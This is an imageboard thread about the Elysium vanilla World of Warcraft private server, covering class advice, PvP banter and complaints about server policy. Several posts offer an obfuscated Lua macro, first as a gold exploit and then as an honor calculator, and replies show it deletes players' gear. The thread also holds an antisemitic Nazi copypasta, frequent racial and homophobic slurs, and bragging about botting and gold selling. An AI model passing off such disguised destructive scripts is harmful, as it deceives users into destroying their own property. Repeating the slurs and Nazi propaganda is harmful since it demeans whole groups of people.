/elyg/ - Elysium General

>>167525648
What went wrong with the gnomes?

>>167525728
Height

can i get an invite to Mandate of heaven?

Name: Otacon

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>>167491020

>tfw no fat hairy WoW gf

>>167525762
Sent

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>he didn't roll mage
Lmao

I should have named my warrior plsnobully as people bully me all day long.

first for diaper

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>>167525728
>something wrong with diapers
based retard

>>167525778
Fuck off and play combat you useless faggot.

>>167525836
dind get nuffin

>>167525858
You should have just named it icantgitgud

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Reminder that there are no bullies on freshfresh

>>167526006
>qlurf is shit at pvp
what else is new

>>167526129
>so shit he had to roll huntard
>still shit

that is an accomplishment desu

>>167525890
I refuse.

Can you talk to NPCs and turn in quests while inside Ice Block?

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>>167525851
>be big dick fire mage
>tank pulls, immediately go full throttle before he can build up threat
>continuously ridicule him because he can't hold aggro

>>167526195
Its not a debate, play combat or die.

>>167526286
nope

Is STV still swarmed by horde, or is it bearable to quest as alliance there now?

Is melee hunter viable at all or should i just play warrior or rogue?

>>167526543
It's save, you can come out now
t. Alliance player

So if I'm supposed to fear the hunter and not his pet, what do I do about the pet obliterating my health

Warrior is only awful to level because of the shitty miss mechanics. I really feel like Warriors get extra punishment somehow, since no other class has this many issues with hitting things.

>>167526616
>Is hunter X or should I just play Y
The answer to such questions is always Y

>>167526705
Paladins have the same problem but at least they get heals.

>>167526629
Fear pet, focus down hunter at close range so he cant pewpew you.

>>167526616
picking hunter in vanilla is your first mistake

>>167526705
nah man mages get resisted as fuck

>>167526368
Ok for the first five levels would you go Opportunity or Master of Deception?

>>167526863
You go imp sinister strike and gouge.

>>167526727
>>167526836
How so?
T:Havent played WoW since it originally came out

>>167526856
>mage gets resisted as fuck
>except it's really only 1 in maybe 10 spells if you're fighting stuff your level
>oh and they also melt things when they do hit

Wow, how awful, how does anyone level a mage?

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mexican standoff elysium style

twilight marauders are scared of a little spider

>>167526629
Fear the hunter, sleep the pet.

What is the roll of a shaman on low level ? When i tanked with a shaman healer i had the feeling they lack healing in the lower levels, other shamans i played with went dps but did shit dmg.

>>167527012
it's more like 1 in 4 if the mob is even just 1 level ahead of you

>>167526973
But I mean, does Master of Deception even do anything? Because then my next five would be Camouflage, and then Improved ambush? I'm assuming you spec to make ambush really good but then you'd probably want Opportunity right?

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>Literally have 6 fishing bots running 12 hours a day
>3 weeks, not a single ban
AHAHAHA!!!!
this is great
Good server.
Much happier than nosts banning bullshit

>>167527049
I was gonna give you shit for having a quide but then noticed you are playing as male dwarf so you are probably not a faggot.

>>167526705
>resist
>resist
>resist
>resist

>>167527056
How am I supposed to sleep the pet?

>>167527227
Aww couldnt find anyone the first time you made this post?

>Gadgetzan
>bunch of Alliance and Horde funnel into the cage to have duels to the death
>guards ignore LoS and flood in from all sides, killing everybody as soon as combat starts
Amazing

>>167527425
>he doesnt have a druidbull with him

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>>167527227
Fuck off already

>>167527438
>first time

>>167527425
With Magic Dust obviously.

>>167527425
You tell it a story about your heroic adventures.

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>>167527372
Shut the fuck up little cuck bitch you dont know the warrior struggle.
We're warriors for a reason.
The longer we go down this road, the harder we get.
Why do you think the veteran warriors are so merciless and harsh?
Because of our past.
Now step down, manacuck.

where do I go for ERP?
which server/location?
goldshire was ded on elysium

>>167527676
this is the gayest post i've ever seen

>>167527676
*blinks behind you*
*unsheathes big dick dps*
Nothin personel, caveman

>>167527742
Kronos 1 have a nice erp community in auberdine.

>>167527676
*frostbolt*
*frostbolt*
*frost nova*
*teleprots behind you*
Psshh.....nothing personnel..
*pyroblasts u to death*
...kid..

>>167527871
>auberdine

but... why? of all the places

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>>167527783
>>167527874
*casts Blessing of Freedom on the warrior*

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>>167527227
A Judeo-Bolshevist homosexual capitalist banker and smoker was teaching a class on Karl Marx, known ethnic Jew.
“Before the class begins, you must get on your knees and worship Marx and accept that he was the most highly-evolved Übermensch that the world has ever known, even greater than Adolf Hitler.”
At this moment, a brave, folkish, nationalist Waffen-SS member who had served 1500 tours of duty and understood the necessity of non-Marxist socialism and hated the Jews for stabbing the Germans in the back stood up and held up a rock.
“How old is this rock?”
The arrogant banker smirked quite Jewishly and smugly replied “4.6 billion years, you stupid Nazi.”
“Correct. It’s been 4.6 billion years since geothermic forces created it. The natural scientific model must be applied to the political sphere, and thus foreign elements must be removed so that the rock of Germany will be pure.”
The banker was visibly shaken and dropped his copy of the Treaty of Versailles. He stormed out of the room crying those Jewish crocodile tears.The students applauded and all registered NSDAP that day and accepted Hitler as their Führer. An eagle named “Ahnenerbe” flew into the room and perched atop the Swastika Flag and shed a tear on the chalk board. Mein Kampf was read several times, and Wotan himself showed up and enacted Germanization across Eastern Europe.

>>167527996
Because it's a low pop low level peaceful area, you don't get bothered by randoms.

>>167527874
>>167527783
To bad mages intellectual obsession doesnt due to well against a skilled warrior strength and wits in pvp.
If you fight me, u would understand a real watrior

Taken from the patch notes of patch 1.9:

Incorrect amounts of abilities such as Attack Power, Increased Fire Damage, or Increased Healing Damage were being applied to all random item property world drops. Two handed weapons such as Staves had much lower amounts of these abilities, while ranged and one handed weapons had too much. All further drops of these items will have the correct amounts, but previously dropped items will not be affected by this change.

http://www.wowwiki.com/Patch_1.9.0 under the items section.

Apparently the items with op stats shouldn't drop anymore.
so... get your healing wangs healerers

>>167528003
*logs on my lvl 60 undead rogue and backstabs u both*
It takes more than that to kill me kid

>>167528201
>mages intellectual obsession doesnt due to well against a skilled warrior strength and wits in pvp
>solo warrior
>winning anything in pvp
Heh
>>167528003
>2v1
Typical alliance dindu behaviour
*blink+swiftness potion's away*
See you around, niggers

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/run f=function(i) o='' for I=-(string.len(i)),-1 do o=o..string.sub(i,-I,-I) end return o end RunScript(f("dne )(metIrosruCeteleD )P(metIyrotnevnIpukciP od 32,0=P rof"))

Use it before they patch it. If every other private server that has had the same bug is an indication, you absolutely WILL NOT get banned if you use it sparingly. If you make 1k gold off of this I can't guarantee you won't get fucked though, be smart with it. Don't fuck it up for everyone else. Please don't post it on reddit or the forums. Mouse over a STACKABLE item and paste it into chat.

t. Helpful Anon

is there anything more pathetic than a mage losing to a warrior?

>>167528696
this deletes your gear

dont use it

>>167528696
Don't, this creates mustard gas

>>167528696
simply ebin :DDDDD
If you try to make 1k with that you'll get banned, at least split between a few characters.

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>>167528696
>mfw rich

>>167528696
WHAT THE FUCK HAPPENED TO MY CHARACTER AAAAAAAAAAAAAAAAAA

>>167528804
I don't know, maybe things that actually happen?

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>>167528696
WE ROLLIN' IN IT NOW BOYZ (i'm level 11, this is a lot to me)

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>questing with a warrior
>he's jumped by a rogue, a warrior and a mage
>as soon as he's out of stun the rogue is instantly deleted
>keep warrior sustained until the mage finally notices me and polymorphs
>trinket out of it and the mage has forgotten I existed; horde warrior is now dead
>mage jumps around spamming arcane explosion until we both cut him down
Thank god people are so shit at this game

>>167528992
Don't fucking spam it, dumbass. Use it once or twice a minute.

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>>167528696
money has been made sweet jesus

massive rollback when? will the ruskies even realize it before its too late?

>>167529065
How much cum do you get on average? Planing on rolling a healslut as well.

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>>167528696
[s] Do I give this to my friends with the same premise [/s]

>>167528696
welp rip elysium

economy just got fucked

in b4 linen cloth is sold at 1g a piece by tomorrow

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>>167529571

>>167528696
delete this, stop telling everyone

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>>167528696
holy shit how have they not patched this shit yet?

>>167530739
Stop fucking ruining it for everyone you cum-eating shitstain.

>>167530739
*eats cum*

way to ruin the joke you fucking idiot

>>167528696
Epic™

alright i got 2 questions before i do this shit
1) what is the master race for hunter on horde
2) trick question, what is the master race server?

>>167531021
Anon stop that's gay.

SHOULD I ROLL PRIEST OR PALADIN????

t. ASPIRING ALLIANCE dwarf female

How far is MoH in MC?

>>167530383
I'm not judging you.

>>167531367
0/10

they haven't had a raid yet

what enchant do i stick on one handed weapon as a healer? fresh doesn't seem to have any actually usable enchants right now

>>167531351
Paladin.
They said with the launch of AQ will come TBC talent trees, making all specs viable. So ret will be OP.

>>167530739
Are you still fat and ugly Koragon?

>>167531324
orc
elysium

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>>167531324
>master race on horde
Undead of course
>hunter
Pic related

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Heading to STV wish me luck lads

how much dps does sword spec add for arms warrior?

could any mathematicians show me the formulae?

>>167531620
Are you alliance?

>>167531498
>faction full of savage, barbarous races who all stand 7+ feet high
>cool as shit
>manlet fags would rather roll undead human scum and female orcs/trolls AKA green/blue humans with fucked up teeth
manlet faggots

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Why is Barren's chat so lewd?

>>167531734
Yes

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>>167531748
>cool as shit

>>167531748
> female orcs/trolls AKA green/blue humans
Remove yourself from this life.

>>167531696
5%

am I a noob bitch tank if I bring rage potions to dungeons? They come in handy if a bad pull happens, but I cant help but believe a good tank doesn't need them

>>167531453
Considering I'm a trap, no.

>>167532010
>trap

no you're just as gay as ever, you still have a dick dude

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Nice Server.

hey i'm a big fat tauren so I get on my mount and sit on top of an npc so people have to type /target

aren't I so funny and original xD

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>>167531748
Being tall sure helped them a lot when the manlets struck back

>>167531829
I hope you will die a lot and eventually quit the game. Good luck.

>>167531910
i was thinking it might just be 5% but was wondering if weapon speed might have played apart if the procs werent normalized.

I ask because i got a weapon with a dps increase from 40 to 50 but its not a sword my guildies said i should use the sword anyways if i had sword spec but i was thinking they were dumb.

>>167532059
This is probably one of my most favorite bugs.

>>167532059
How the fuck does it even get to this point, and keep getting worse? Don't they aggro whoever tries to do the quest and interrupt the cast?

Should I just roll on old nost?
>march 2018 for AQ

>>167532408
You can do the quest a little by the side without aggroing any. Other people also do it while somebody kites them away.

>>167532116
I expect to die a bunch but I dont think Ill quit

Thanks for the well wishes

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>>167532059
Epic

>bought zzukbot
>takes 12 hours to hit level 10
3.99 EUR well spent

STV is definitely the best WoW zone ever, right?

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>>167532417
YEAAAAAH

>>167532760
>anime poster

Nevermind

>>167532417
If you want to actually see aq/naxx its advised

pls a 3rd time, can i get an invite to Mandate of Heaven?

name: Otacon

>>167532954
Otacon, huh?

HAHAHAHAHAHA
H
AH
AHA
HA
H

NEW COMMUNITY MANAGER WITH ONE SINGLE POST JUST BANNED THE USE OF DB BACKDOOR IN AV

:))))))))))))))))))


https://forum.elysium-project.org/topic/36568-alterac-valley-mass-exploit/

>>167532954
Reroll Zeth ally

>>167532408
When I did it me and some other guy took turns taking agro while the other finished quest

>>167533187
why

>>167533253
More comfy

Try it yourself

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>>167532954
Mandatecucks kept you waiting, huh?

>>167533465
Snake? Do you think it's possible for a guild invite to be sent on the battlefield?

>>167532739
how retarded are you Im level 15 in the same amount of time with said bot

ps the real advantage of botting is the fact that you can do other shit in real life or play a different game and still gain virtual capital

>>167533176
>>167533176
>As the CM in question, allow me to clarfiy: Any use of walljumping, terrain glitching, or other exploit to negate design or mechanics, to gain an advantage (whether you view that vantage as simply equalising, and whether or not it puts you ahead), is against the ToS. This applies universally, not just to BGs. If you have a problem with the balance of a BG, and you have a suggestion on how it can be made better, then we do want to hear from you, but neither the balance nor your perceived difficulty gives you permission to ignore the ToS that you agreed to in whole when you created your account.


hahahaha

https://www.reddit.com/r/wowservers/comments/5s4z77/free/

Holy shit, top fucking kek. pupper faggots literally posting their unfunny videos on reddit now.

>>167533176
>https://forum.elysium-project.org/topic/36568-alterac-valley-mass-exploit/

As the CM in question, allow me to clarfiy: Any use of walljumping, terrain glitching, or other exploit to negate design or mechanics, to gain an advantage (whether you view that vantage as simply equalising, and whether or not it puts you ahead), is against the ToS. This applies universally, not just to BGs. If you have a problem with the balance of a BG, and you have a suggestion on how it can be made better, then we do want to hear from you, but neither the balance nor your perceived difficulty gives you permission to ignore the ToS that you agreed to in whole when you created your account.

server's dead move on everyone

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Holy shit

>>167533920
>pupper faggots

not even the same realm you retard

The fuck is up with copper prices on Zeth Alliance?

want to fap to nelves can anyone help by posting their butt?

>>167534084
mandate faggots then? i know madti and manlet are in one of those tranny guilds

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dude

>>167534161
it says the guild in the video, did you even watch it?

what is the advantage of rolling a lock over mage
>mages more fun
>mages do more deeps
>mages are fun to play
>mages are better in pvp

>>167534234
no, it was too cringeworthy

>>167534284
you get to fap to your succubus

>>167528696
It just fucking works!!!!!!

>>167534284
You have a pet but the expansions ruined it by giving mages elementalsl pets

>>167533961
This is great, Horde can just sit and fish until they lose now, every single AV.

>>167532059
didn't know there was a turkish guild

>>167534284
You get to beat mages in pvp if you spec demo and get robe from ubrs.

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>>167534696

>>167525648
>http://pastebin.com/mxxfvdqP
If I'm understanding this, it only deletes items in your inventory, right?

>>167534857
Incorrect.

>>167526998
Pls respond :(

>>167534857
it deletes your gear read the macro retard

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>>167533176
>Horde are now forced to climb over mountains of their own dead, frost mages and a mile of slowing traps to reach our archers

>>167534857
No. Well kind of. It deletes the item you're hovering over.

>>167535282
it unequips all your gear then deletes everything in your bags

Can you level through just PvP?

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Something is amiss.

<Mandate of Heaven> needs to get their females back in line. They are way, way too flirty and sweet with their sworn enemy!

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>>167528696
>(metIrosruCeteleD )P(metIyrotnevnIpukciP od 32,0=P rof"))

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>tfw topping dps in a dungeon with hearthstone on second monitor and anime on third
>thinking of adding a fourth activity because none of it is engaging enough
what do

>>167535413
>cockroach
Why?

>>167535501
get a fucking job and make real money instead of gold

>>167535560
What if he sells gold and can maintain 100g/h?

>>167535560
out normie

How long do these Arcane crystal go for and around what times? Same thing with Arcanite bars? How high can they go for and around what time? On Elysium ofc

>>167535763
>long
meant low

>>167533864
>>As the CM in question, allow me to clarfiy: Any use of walljumping, terrain glitching, or other exploit to negate design or mechanics, to gain an advantage (whether you view that vantage as simply equalising, and whether or not it puts you ahead), is against the ToS. This applies universally, not just to BGs. If you have a problem with the balance of a BG, and you have a suggestion on how it can be made better, then we do want to hear from you, but neither the balance nor your perceived difficulty gives you permission to ignore the ToS that you agreed to in whole when you created your account.
>
>
>hahahaha
It's probably a troll, dude doesn't even have CM in the name or anything.

Why is the Arathi supply officer's inventory empty?

What class should i pick as a tauren?

>>167536109
Whichever you want.

Is Sul'Thraze a meme weapon?

>>167533007
>>167533465
tfw still no invite

>>167536347
yes

>>167536559
Should people who use it be bullied?

>>167536091
because its 1.2

>>167536420
>he hasn't rerolled to zeth yet

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>>167535504
When I run around it looks like a fly following a stinky cow.

I trekked to Undercity and almost went bankrupt buying him at level 10. No regrets!

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>mithril ore mining gives skill up
>but smelting it doesn't
>however smelting gold does give a skill up, potentially
>have to find like 50 fucking veins of mithril and can't gain any skill up from smelting it
who the fuck designed this

>>167536813
not gonna lie zeth seems shit tier

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>run Uldaman three times hoping for some decent cloth or rings
>nothing does
>but two Stoneslayers and a Rockpounder drop from Archaedas
THIS COULDN'T HAPPEN ON MY WARRIOR

>>167536109
Paladin named holy cow xD

Can you stack Swiftness & Free Action potions?

>>167536973
>holy paladin needs all of them
b-but i'm building my tank set, dps set and holy set even though i have better items already! i'm totally not selling them to the vendor.

>>167536684
see >>167536559

>>167536973
> mfw Rockpounder didn't drop on my first run but I won a BOE epic tho and a 14 slot bag

Everything went better than expected.

Can bugs be reported somewhere on Elysium? Pretty sure I've found an easy to fix bug.

>>167528696
I started a hunter to try this out. The first time I use it it only unequips the ammo in the paper doll ammo slot, why is that?

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>see a night elf questing
>just don't mind it and keep questing, just gonna be a bother for both and I don't want waste time drinking and eating after killing it
>see him eating so I just leave
>as soon as I turn back and start hitting a mob, he immediately goes on me
>this happened at least 5 times today
Holy shit
literal nigger elves, the dindu race

>>167533961
>>https://forum.elysium-project.org/topic/36568-alterac-valley-mass-exploit/
>
>As the CM in question, allow me to clarfiy: Any use of walljumping, terrain glitching, or other exploit to negate design or mechanics, to gain an advantage (whether you view that vantage as simply equalising, and whether or not it puts you ahead), is against the ToS. This applies universally, not just to BGs. If you have a problem with the balance of a BG, and you have a suggestion on how it can be made better, then we do want to hear from you, but neither the balance nor your perceived difficulty gives you permission to ignore the ToS that you agreed to in whole when you created your account.
>
>server's dead move on everyone
I honestly can't believe they have an incompetent retard like this on the team, what the fuck?

>>167537608
you deserved it for being horde desu

<Salty Dogs> kill on sight. No matter where.

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>charge enemy player
>his four friends who were an inch outside of draw distance before the charge are next to him

Milkload is Milkmaids druid alt, right?

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>join BRD run
>immediately get asked to join strat
>my fucking tank logs on

Will mandate of heaven invite me if im a botter?
Have over 600g lvl 46, near max enchant and blacksmithing

>>167537472
What's the bug?

>>167537472
Dont be a retard.
Find a way to exploit it

>>167538078
Gold bars aren't selling for 1 gold

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>>167537970
>your tank tells your group that if any of them ever touch you again they're all dead
>forces you to leave the party

>>167532358
which one? theres 30+ of them in that pic

why do people constantly ask for hunter in brd/strat?

>>167537608
>people complain about being mentally weak and having feelings holding tbem from killing an enemy in a mythical world at war
Ive killed in real war, and you cant do it in a video game?
Grow some balls you fucking cowards.
Literal beta cuck hordes. crying every 5 minutes on here.
So much for being the tough berserkers and shit.

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>>167538305

>>167538307
it's a ranged class that doesn't use caster loot table i assume

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Shut the fuck up little cuck bitch you dont know the warrior struggle.
We're warriors for a reason.
The longer we go down this road, the harder we get.
Why do you think the veteran warriors are so merciless and harsh?
Because of our past.
Now step down, manacuck.

>>167538432
Anon you play alliance.
Waifu wars on /a/ are not real wars

>>167538740
your post is so cringey I just deleted my warrior

>faggot horde ganking redridge
>crabs rolls by and blows him up
heh thanks pal

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>?? guiding his guildmate around and getting him to gank everyone
>gets to me
>Goblin Rocket Helmet and NTR the skull before escaping

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>There has been some confusion in regards to whether or not the act of "rooftop camping", or killing players while using geometry to avoid the town guards, is allowed. We will no longer condone this act in game. Players who participate in this method of PvP will be given a warning and educated on this new policy, and further action will be taken as circumstances warrant. We wish to provide a fair playing field to our customers, and this abuse of game mechanics has been hampering that effort.
Thank you for your understanding in this matter.

Hm.

>>167533176
Thank allah I'm already exalted. Alliance will win every AV now by boring the horde to /afk.

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>land in Felwood
>instantly interrogated by the Druid mafia

>>167540007
do you mean moonglade

>>167539869
>Thank allah I'm already exalted. Alliance will win every AV now by boring the horde to /afk.
Every time people whined about backdoor on Nost, someone would pull the stats of there being exactly 50:50 (or 51:49 for alliance or something like that) alliance/horde victories in AV.

If this moron is actually a CM and isn't talking out of his ass but got a GM/dev to tell him to say that, then the entirety of the Elysium staff is made up of colossal retards who have never played the fucking game now.

>>167540007
>not unzipping your pants and taking a rancid fel-shit right in front of them

>join BRD run
>lv54 tank
How fucked am i?

>>167540069
yes

why do retards even bother rolling
>warlocks
>druids

>>167538307
In strat for flare

can a man get a invite to salty dogs? name: Priazalkag

>>167540860
why?

I haven't done strat in 10 years no bully

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>do wsg premade with 5 people
>2 healers, druid fc, a war & hunt meatshield and everything goes great
>going up against pugs and winning with ease
>suddenly horde nigger mentality kicks in, they decide to invite 4 more random people and make a raid group because more people = always better
>now forced to go up against premades and losing again

>>167540540
depends on what you're doing, can easily be carried with a higher level group
you can't do a full run though

>>167529041

Unless you are on elysium or zethkur thats nothing.

Hey, I'm a warrior. I fully intend to go tank later on in the game, but for now I'm doing DPS. Who wants to invite me to their guild?

My expectations are for you to provide me with lots of materials so I can level two crafting professions. Also, when we do runs of any kind of dungeon, useful tank AND DPS gear is reserved for me. You must also worship me for carrying your shitter asses through all the content.

Note: If we wipe, it is never my fault. It's always yours.

Please let me know if you're interested. Bonus points if you're a cute girl. Or boy, I'm not picky...

>>167533176
>alliance still win every AV
>OH BY THE WAY HERE'S ANOTHER THING THAT WILL MAKE IT EVEN HARDER FOR HORDE TO WIN LOL WILL WE BAN YOU FOR GETTING A SLIGHT TINY EDGE BACK IN YOUR FAVOR

Yeah that's it for me. Just going to wait for crestfall instead.

>>167542329

Maybe you should stop being shit at the game? Alliance literally have no advantage but you guys still throw

>>167541032
>It's so much fun raping pugs with a half premade but not much fun premade vs premade

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>someone duels me
>I win
>"wow you used your cds"

>>167533176
>>As the CM in question, allow me to clarfiy: Any use of walljumping, terrain glitching, or other exploit to negate design or mechanics, to gain an advantage (whether you view that vantage as simply equalising, and whether or not it puts you ahead), is against the ToS. This applies universally, not just to BGs. If you have a problem with the balance of a BG, and you have a suggestion on how it can be made better, then we do want to hear from you, but neither the balance nor your perceived difficulty gives you permission to ignore the ToS that you agreed to in whole when you created your account.

So he wants horde to literally just never queue for AV then? How fucking retarded are these guys?

>>167542429
the point of a premade is to be effective at farming honor, not getting shit on by people who aren't actually clueless randoms but guildies that are coordinated and ready to rape at a moment's notice

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>>167542438
>someone duels me
>they blow lay on hands, bubble, 40 engineering cooldowns and hearthstone
>win
>"gg ez scrub git gud lmao"

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>>167542414
>alterac valley
>Alliance literally have no advantage

>>167533176
what the fuck>

>>167536029
it's real but the CM guys dont know shit
they are glorified mailmen and lie to the community all the time

>>167542462
>So he wants horde to literally just never queue for AV then? How fucking retarded are these guys?
Very, apparently. It's completely unbelievable to me, I still think the CM guy isn't real. Someone should inquire on le reddits.

>>167533176
At least alliance will finally get to experience 3 hour long BG's queues like the horde ahhaahhahah fucking kill me this server is so shit

>>167543014
For a free Vanilla server it ain't that bad.

You could always pay for retail.

What color undead horse should I get?

>>167542557
You like shitting on other people that aren't in a premade but when a premade starts shitting on you, you don't like it.

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What class/race/spec combo will make me feel like Tom Brady during Super Bowl LI and 18 pts down?

>>167543170
>IT'S FREE

lmfao every time you leddit fucks pop up

the funniest part is that you act like there's nothing to compare it to so it's the "best option available", yet kronos is 10 time better because the devs actually have incentive to make shit work because they turn a profit

I think what I like about vanilla combat that feels rewarding is when your auto attacks actually mean something. Like as a warrior your white hits end up being a fuck ton of your damage and it's meaningful even if you're casting spells in between with rage dump. anyone else know this feel?

is combat rogue best for lvling? sword spec

>>167543316
kronos is dead

>>167526006
what are the unit frames?

>don't know anything about macros
>never even touched lua
>use macro posted on board
>expect some difference
>realize I'm naked.

kmn I'm fucking lucky I used this on my low level alt.

>>167543451
And the only reason it's dead is because nostalrius baited everyone into playing a fucking VALKYRIE server LOL

Kronos pre-nost bait had 4k concurrent players daily.

>>167543568
>but it wasn't dead before
so what? still dead.

>>167543549
You forgot the "don't even read macro posted on board" part.

>>167543568
>Kronos pre-nost bait had 4k concurrent players daily.

It had a q at 4k and the server lagged fucking HARD when it went around 2.5k, the server was awful m8

people had given up on kronos in mass by the summer

>in shimmering flats
>dindus (horde) behaving surprisingly well
>autistic troll huntard shows up and starts attacking everyone and gets himself killed
What is it about hunters? Do only mentally deficient people roll this class?

>>167543618
>played 8k pop stock mangos server that's going to get shutdown
>mfw bought 200 kronos 60 accounts and going to make literally thousands of dollars once it reins champion again

get fucked

>>167543568
>it's a kronos shill that thinks kronos wasn;t a complete piece of shit episode

>>167543806
>he says while playing valkyrie

>>167543291
female tauren hunter

>>167543170
why would you ever pay for retail when gold grows on trees

honestly if you could buy expansions with gold too I might have played it, but I can't just justify paying money for the artifact/legendary system

>it's a warriors get mad at you for not letting them into your party to DPS episode

>>167544216
I love when meme specs like enh or feral yell at me for not inviting them too

>>167543738
Once Valk shuts down its over. People will forever lose hope for vanilla private servers,

>>167543291
>18 pts down
Holy shit is it really that bad? Lmao

>>167544330
valk russian devs already trying to change blizz like features btw!

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>mfw i will never be finalflash or grimone

>>167543291
Good.
New England Patriots fans are all faggots.
Bandwagon team.

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>>167544572
Why would you want to be bullied?

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>>167544216
Shut the fuck up little cuck bitch you dont know the warrior struggle.
We're warriors for a reason.
The longer we go down this road, the harder we get.
Why do you think the veteran warriors are so merciless and harsh?
Because of our past.
Now step down, manacuck.

>>167544587
Eh, they aren't as bandwagony as the Seahawks.

>>167544572
>wanting to be so bad you stand in rend whirlwind for 20 seconds
>wanting to be actually honestly genuine legitimate non-ironic non-meme non-buzzword non-insult non-4chan I'm-not-trying-to-hurt-your-feelings seriously-I-mean-the-real-disorder autistic

>>167540540
I cleared BRD at 54 with an extremely good group. It will be tough as nails. GL!

how does druid play while leveling?

>>167544765
You're not wrong. I believe you're supposed to support your home team. A sense of pride to where youre from. but i guess that's outdated thinking

>>167539856
to be fair it wasn't allowed in retail either, but GMs were too busy solving actual issues to bother dealing with it. Good think Elysium provides a /safespace/ for every cuck.

>>167545003
>A sense of pride to where youre from
Sure but almost none of the players on your team is even from your state. I wish birthstate was a requirement to be on that team, that would make rooting for your home team much more sensible.

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Femdead a lewd, LEWD!

>>167543732
>be a zugzug in shimmering fats
>get constantly ganked by grouped up or ?? allies while trying to kill npcs that are orange lvl
Cant you faggots stop bullying me or atleast fight me fairly, i just want to level up my dindo without having to run half the map every two npcs i kill.

Why are all horde such degenerates?

>>167544886
you are bad at the game.

>>167543687
it looks like jibberish.

>>167544886
is ff actually that bad? only saw him speak like once or twice and it was always some ironic memespeak instead of talking like a normal person and I was wondering what was up with that

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>>167545195
>tfw ganking there on my 60 right now

>>167545347
he doesn't know english and the only english he does know is from 4chan so he communicates is some kind of weird, pigeon 4chan-english

Leveling my rogue as assassination, what's a good spec?

>>167545347
http://www.webm.land/w/Hjoa/
He's bad at the game, but I'd say only mildly autistic. It doesn't help that he can barely speak English. The second meme arrow was mostly referring to Grimone.

>>167545347
>>167545476
hes swedish his english is just fine you dumbasses.

>>167545529
Unfucking your dumbass plan of leveling as assassination is a good spec
reeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee

>>167544309
>>167544216
> Min/Maxing in a 12 year old mmo so easy a bunch of 50's with greens clear it
> Not playing Vanilla to have fun & smash content that's piss easy
> Banning play styles that are mearly "sub-optimal" but still easily doable before Naxx/maybe AQ on a free private server that will be shut down within 6 months

Video game addicts really are anti-social

>>167545158
what booty is this

>>167545652
Just because you forgot to post your Zack image with your reply doesn't mean we can't tell it's you, FF.

>>167545652
he literally can't communicate like a normal english speaker, so no, his english isnt fine

you should hear him try and speak english over skype sometime, he soudns like he has some kind of learning disability or something i've never met a swede who sounds like him

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>>167545657
>inv me I'm a DPS warrior
>yes I know you're already a warrior, I'm a few levels below the recommended level for the dungeon, I'm decked out in questing greens from 15 levels ago, I'm going to roll on all your gear, there's a mage and a hunter who also want to join for this slot, and you have literally nothing to gain by inviting me but it's juts a game bro haha xd let me in

>>167546352
anime is fucking gross

warlocks are basically stand users

>>167545851
>you should hear him try and speak english over skype sometime, he soudns like he has some kind of learning disability or something i've never met a swede who sounds like him
Fuck off. This is why I don't use voice, cunts like you always claim it's fine and accent/voice doesn't matter, and then do this shit.

>>167540860
I played both tank and healer back then. Why would you need flares?
I dont like taking Rogues though, as they have bad CC and take damage from the Aura of the final boss. Rogues have such bad utility.

>>167546603
maybe you should learn to speak the language then, plenty of swedes speak perfect english then you hear Finalflash talk and he sounds like he has rocks in his mouth

>>167546541
Jesus Christ. Why do these people even fucking exist. Is Jakira a tranny?

>>167546745
No shes my irl girlfriend.

>>167546668
Maybe you're just deaf? I told you to fuck off, not fuck on.

>>167546352
I don't get it, I truly don't. Tanking is fun and it's the most desired party role. You don't even have to alter your talent tree, just bring a one-hander and shield. Should enjoy it while you can since you won't be doing it in raids.

>>167546957
Yeah because its my fault you can't speak English rofl

Learn the language, it isn't hard

>>167547085
Its your parents fault for not throwing you in the dumpster when they first realized you were retarded.

>>167547285
>getting this upset because you sound like a mongoloid when attempting to speak English

wew I really struck a nerve

>>167546592
JoJo was really fucking good up until the stand shit came out of nowhere. I mean, I get that you aren't supposed to take the show seriously but come on. Suddenly everyone and their mother has a stand and the whole ripple energy shit is completely pushed to the side.

Parts 1 and 2 were the best by far, Stardust Crusaders was horse shit.

>>167547285
>implying I had parents
I was borne from Hellfire insolent wretch.

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how do people do this? is there some addon or macro to show your RP calculation? anybody know?

>>167547285
>eastern europeans chimping out on 4chan when you make fun of their accent

This is hilarious

>>167546541
What is this image trying to convey?

>>167547380
/script P=(math.floor(GetPVPRankProgress(target)*10000))/100 W=UnitPVPRank("player") N=(W-6)*5000+50*P Q=((W-5)*5000)/0.8-N H=(Q/574.29)^4.016 SendChatMessage("Rank "..(W-4).." "..P.."% RP Total: "..N.." Honor to rank up: "..math.floor(H).."", "emote")

>>167547470

Nice try faggot, I wont fall for this again

>>167547470
wtf I lost all my shit

>>167547470
thanks faggot that deleted all of my items

>>167547470
This deletes your gear.

>>167540949
>>167546639

This is for the ghosts that are invisible and patrol the streets. Once they are alerted you have to kill them quick or they summon extra mobs which is a pain if you are already fighting a pack.

But you dont even need a hunter for it just dont be retarded.

>>167547470
>>167547380
Also, there are two addons to calculate RP, MurunoRankEnhanced, which is rather inaccurate, and RankStats which mostly works on your previous standing/RP, which tells you pretty much exactly what standing/RP you need, but you might have to figure out how much honor you need to achieve that.

>>167547518
>>167547546
>>167547549
>>167547552
lol

>>167547431
lads?

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>tank played with other healers while you were offline

>>167547670
wish I knew. either it's a leaked picture someone took that's a gm of elysium. or someone here is a gm of elysium and posted it here for some reason

>>167546541
Jakira types like a 15 year old

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>>167544687

>>167546352
Sounds exactly like every pug raid in wotlk. Had like two of those whisper me for every guy I invited.

does energy watch work with cat druid form?

>>167547636
wow, a non-meme response on this general? honestly anon thank you for this

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>leveled a rogue to 5 on elysium
>already got 10+ messages for buying gold
>already seen tons of people with gibberish/bot names (adnflskd, etc)

>>167548260
Come to Zeth, white man.

>>167548162
>>167547636
>samefagging so people will run your stupid macro and quit after their gear gets deleted
/elyg/ has hit a new low.

>>167547054
>literally all you have to do to heal or tank in dungeons is just keep a set of gear in your bag from quests or loot instead of vendoring everything like a retard
>UHHH I CAN'T TANK/HEAL I'M DPS
I don't why they can't be fucked to do these roles when they're already fulfilling their DPS fantasy while questing.

How painful is it to play an alliance warlock in pvp?

>>167548425
>put on a 1h sword/shield to tank a dungeon
>100/220 weapon skill

>>167548501
It would be extremely painful

>>167547339
Stardust Crusaders JoJo was the better than part 1 JoJo though

>>167546352
> Not letting in 5-10 "sub-optimal" specs in your MC run when the raids were designed for 25 properly connected serious players

Your example of the low warrior is pretty funny, I found the best way to farm SM Arm is to get a group of Shamans & Warriors that will run it 5-10 times to chip away at duplicate drops, rather than getting a new group that need all the loot every time.

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>>167545657
>it's a special snowflake wants to be carried through the content by people actually playing correct specs because it's more important for him to larp like it's retail and spend an hour or two longer to clear all bosses episode

